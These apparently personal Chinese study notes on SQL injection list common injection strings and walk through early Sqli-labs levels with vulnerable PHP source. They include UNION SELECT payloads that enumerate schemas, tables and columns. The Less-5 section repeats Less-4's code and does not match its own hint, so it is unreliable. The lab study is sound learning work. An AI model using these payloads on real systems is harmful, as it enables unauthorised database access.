零、还在学习,每日更新
一、基础知识
1. 注入的分类
1)基于从服务器接收到的响应
① 基于错误的 SQL 注入
② 联合查询的类型
③ 堆查询注射
④ SQL 盲注
a. 基于布尔 SQL 盲注
b. 基于时间的 SQL 盲注
c. 基于报错的 SQL 盲注
2)基于如何处理输入的 SQL 查询(数据类型)
① 基于字符串
② 数字或整数为基础的
3)基于程度和顺序的注入(哪里发生了影响)
① 一阶注射
一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果
② 二阶注射
二阶注入类似存储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间接的对 WEB 产生危害。
4)基于注入点的位置上的
① 通过用户输入的表单域的注射
② 通过 cookie 注射
③ 通过服务器变量注射(基于头部信息的注射)
2. 常见函数
1)系统函数
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
2)字符串函数
- concat(str1,str2,…)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
- group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
3. 一般尝试语句
or 1=1
' or 1=1--+
" or 1=1--+
) or 1=1--+
') or 1=1
") or 1=1--+
")) or 1=1
为啥用 --+
--, 和 # 在SQL中表示注释
SQL中--后一定要有空格才可以注释, 不加空格会报错
URL中#不会被请求
URL中+会被转换成空格
二、环境配置
实验平台Sqli-labs下载 Apache 2.4.39 MySQL 5.7.26 PHP 5.6.9(使用7x版本会有问题) 使用phpstudy在Windows平台部署 修改数据库配置 访问127.0.0.1\sqli 并配置数据库后即可使用
三、分级通关
1. Less-1
1)注入过程
提示:GET - Error based - Single quotes - String 尝试使用?id=1' or 1=1--+
2)源码分析
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
可以看出id数据类型是String 构造的SQL语句为:
SELECT * FROM users WHERE id='1' or 1=1
3)学习提高
尝试使用?id=1' order by 4--+ ,得知只有三列,为之后union查询做铺垫 根据MySQL的特性 尝试使用?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+ ,得知有哪些database 尝试使用?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ ,得知有哪些table 尝试使用?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ ,得知有哪些column
Less-2
1)注入过程
提示:GET - Error based - Intiger based 尝试Lees-1注入方法?id=1' or 1=1--+ 多了一个单引号 尝试?id=1 or 1=1--+
2)源码分析
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
与Less-1不同,Less-2的id的数据类型是整数 构造的SQL语句为
SELECT * FROM users WHERE id=1 or 1=1
3. Less-3
1)注入过程
提示:GET - Error based - Single quotes with twist - string 有Less-1和Less-2的经验 尝试?id=1') or 1=1--+
2)源码分析
$id=$_GET['id'];
"SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
构造的SQL语句
SELECT * FROM users WHERE id=('1') or 1=1
4. Less-4
1)注入过程
提示:GET - Error based - Double Quotes - String 尝试?id=1") or 1=1--+
2)源码分析
$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
构造的SQL语句
SELECT * FROM users WHERE id=("1") or 1=1
4. Less-5
1)注入过程
提示:GET - Double Injection - Single Quotes - String 尝试?id=1‘ or 1=1--+
2)源码分析
$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
构造的SQL语句
SELECT * FROM users WHERE id=("1") or 1=1
|